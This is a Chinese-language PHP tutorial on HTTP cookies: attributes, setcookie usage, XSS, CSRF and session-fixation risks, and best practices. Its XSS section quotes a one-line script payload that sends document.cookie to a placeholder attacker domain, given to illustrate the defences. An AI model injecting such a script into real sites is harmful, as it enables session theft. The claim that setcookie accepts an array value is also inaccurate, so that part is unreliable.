PHP Cookie 技術全解析：原理、屬性、安全與最佳實踐

Cookie 是什麼？

Cookie 是 HTTP 協議的擴展，允許服務器在客戶端 (瀏覽器) 存儲少量數據 (≤ 4KB/個)，後續請求自動攜帶。由 Netscape 首創，現為 RFC 6265 標準。

工作流程

1. 瀏覽器請求 → 服務器
2. 服務器響應頭：Set-Cookie: name=value; Path=/; Domain=example.com; Expires=...; Secure; HttpOnly; SameSite=Lax
3. 瀏覽器存儲 (內存/硬盤)
4. 後續請求同域自動發送：Cookie: name=value

核心屬性詳解

PHP 操作 Cookie

設置 (必須在輸出前)

<?php
// 基礎
setcookie('user', 'john', [
    'expires' => time() + 3600,
    'path' => '/',
    'domain' => '.example.com',
    'secure' => true,      // 僅 HTTPS
    'httponly' => true,    // 防 XSS
    'samesite' => 'Lax',   // 防 CSRF
]);

// 刪除：設置過去時間
setcookie('user', '', ['expires' => time() - 3600, 'path' => '/']);

// 陣列 Cookie (PHP 自動序列化為 user[a]=1&user[b]=2)
setcookie('prefs', ['theme' => 'dark', 'lang' => 'zh']);
?>

讀取

<?php
$_COOKIE['user'];           // 'john'
$_COOKIE['prefs']['theme']; // 'dark' (自動解析)
?>

安全風險與防禦

1. XSS 竊取 Cookie

• 攻擊者注入 JS：<script>fetch('//evil.com/?c=' + document.cookie)</script>
• 防禦：HttpOnly + CSP (Content-Security-Policy)。

2. CSRF (跨站請求偽造)

• 受害者登錄銀行 → 訪問惡意頁 → 自動發送轉賬請求 (攜帶 Cookie)。
• 防禦：SameSite=Lax/Strict + CSRF Token 雙重保險。

3. Session Fixation / 劫持

• 攻擊者固定 Session ID 誘導受害者登錄。
• 防禦：登錄後 session_regenerate_id(true)、Cookie 綁定 IP/User-Agent (權衡體驗)。

現代替代方案

最佳實踐清單

1. 敏感數據不進 Cookie：Session ID、Token 存 HttpOnly Cookie；業務數據存 Server Session/Redis/JWT。
2. 全站 HTTPS + Secure + HttpOnly + SameSite=Lax 為基準配置。
3. 域/路徑最小化：domain=.example.com 僅在需要子域共享時使用。
4. 定期輪換 Session ID：登錄、權限變更、定時任務。
5. GDPR/合規：明確告知 Cookie 用途、提供拒絕非必要 Cookie 選項。

總結

Cookie 是 HTTP 有狀態的基石。理解 Set-Cookie 屬性矩陣 (Secure/HttpOnly/SameSite)、掌握 XSS/CSRF 防禦組合拳、根據業務選擇 Cookie vs localStorage vs JWT，是合格後端/全棧工程師的必修功課。

1. 上一篇文章： addslashes vs mysql_real_escape_string：SQL 注入防禦的正確姿勢
2. 下一篇文章： PHP 多維陣列多欄位排序：array_multisort 實戰指南

PHP 相關知識

PHP 實現 HTTP 斷點續傳下載：完整代碼與原理解析

斷點續傳核心原理：HTTP Range 請求 步驟客戶

ThinkPHP 3.2 分頁實作完整教學：封裝函數、控制器調用、視圖輸出、CSS 樣式

ThinkPHP 3.2 分頁實作完整教學 同 ID 144

PHP 導入 Excel 到 MySQL 完整實戰：Spreadsheet_Excel_Reader、編碼處理、大數據優化

技術棧選型：為什麼選 Spreadsheet_Excel_R

php-fpm 啟動參數與核心配置詳解：從入門到生產環境調優

目錄約定 php-fpm 執行檔: /usr/local/p